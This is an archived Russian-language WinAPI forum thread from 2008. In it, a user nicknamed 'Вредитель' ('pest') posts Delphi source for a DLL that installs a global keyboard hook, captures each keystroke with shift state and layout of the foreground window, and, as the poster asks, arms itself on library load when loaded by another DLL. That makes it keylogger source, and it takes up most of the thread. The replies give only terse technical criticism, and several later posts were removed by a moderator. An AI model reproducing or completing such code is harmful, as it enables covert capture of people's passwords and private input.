Форум: "WinAPI";
Текущий архив: 2009.11.22;
Скачать: [xml.tar.bz2];
ВнизDLL и прорамма Найти похожие ветки
← →
Вредитель © (2008-01-28 16:31) [0]Guten Tag.
library lib;
function GetKeyText(mssgwnd:hwnd;lpar:integer):string;
var
ss:string;
keywnd:hwnd;
begin
ss:=GetKeyName(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then begin
result:=AnsiUpperCase(ss);
end;
keywnd:=mssgwnd;
pid:=GetWindowThreadProcessId(keywnd, pid);
VerLanguageName(GetKeyboardLayout(GetWindowThreadProcessId(keywnd, pid)),lang,MAXCHAR);
if (lang=String("Английский (США)")) then
begin
ss:=GetKeyNameEn(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then
result:=AnsiUpperCase(ss);
end;
end;
function keyboardproc(
code: integer;
wparam: wparam;
lparam: lparam):
longint stdcall;
begin
if code < 0 then
result := callnexthookex( hookhandle, code, wparam, lparam )
else
begin
appwnd:=GetForegroundWindow;
strvar:=GetKeyText(appwnd,lparam);
result:=0;
end;
end;
begin
setwindowshookex(wh_keyboard,keyboardproc, hinstance,0 );
end;
^^^^^^^^^^^^^
Эту dll загружает другая dll.
-------------
function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
longint stdcall;
begin
if not( code < 0) then
begin
appwnd:=GetForegroundWindow;
strvar:=GetKeyText(appwnd,lparam);
result := 0
end;
end;
function GetKeyText(mssgwnd:hwnd;lpar:integer):string;
var
ss:string;
keywnd:hwnd;
begin
ss:=GetKeyName(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then begin
result:=AnsiUpperCase(ss);
end;
keywnd:=mssgwnd;
pid:=GetWindowThreadProcessId(keywnd, pid);
VerLanguageName(GetKeyboardLayout(GetWindowThreadProcessId(keywnd, pid)),lang,MAXCHAR);
if (lang=String("Английский (США)")) then
begin
ss:=GetKeyNameEn(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then
result:=AnsiUpperCase(ss);
end;
end;
function hookkeyboard( hook : boolean ) : boolean; stdcall;
begin
result := false;
if hook then begin
if hookhandle = 0 then
hookhandle := setwindowshookex( wh_keyboard, keyboardproc, hinstance,
0 );
result := ( hookhandle <> 0 );
end
else
begin
if hookhandle <> 0 then begin
unhookwindowshookex( hookhandle );
hookhandle := 0;
result := true;
end;
end;
end;
exports hookkeyboard;
^^^^^^^^^^^^^
А все это вызывается из программы(hookkeyboard(true)).
В первом случае язык не определяется(и через примерно 15 нажатий клавиатура глючит), во 2ом определяется и все нормально.
Заранее спасибо.
← →
Сергей М. © (2008-01-28 16:35) [1]
> во 2ом определяется и все нормально
Ну и пользуй 2й, если "все нормально".
А учиться "прописной истине", той что "лучшее - враг хорошего", следует при иной совсем постановке вопроса.
← →
ketmar © (2008-01-28 17:01) [2]в обоих случаях ужос. о том, что контексты ввода назначаются не окнам, а потокам — знаем?
← →
вредитель_ (2008-01-28 18:40) [3]знаем. но в случае с прогой все работает, а мне надо чтобы хук ставился просто при загрузке библиотеки!
← →
вредитель_ (2008-01-28 18:40) [4]знаем. но в случае с прогой все работает, а мне надо чтобы хук ставился просто при загрузке библиотеки!
← →
Сергей М. © (2008-01-29 12:42) [5]
> мне надо чтобы хук ставился просто при загрузке библиотеки
Мало ли чего тебе надо !
Что ж тогда жалуешься, что оно у тебя не работает ?
← →
имя (2008-10-02 01:08) [6]Удалено модератором
← →
имя (2008-10-02 01:09) [7]Удалено модератором
← →
имя (2008-10-02 02:24) [8]Удалено модератором
← →
имя (2008-10-02 02:25) [9]Удалено модератором
← →
имя (2008-10-02 02:25) [10]Удалено модератором
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2009.11.22;
Скачать: [xml.tar.bz2];
Память: 0.47 MB
Время: 0.005 c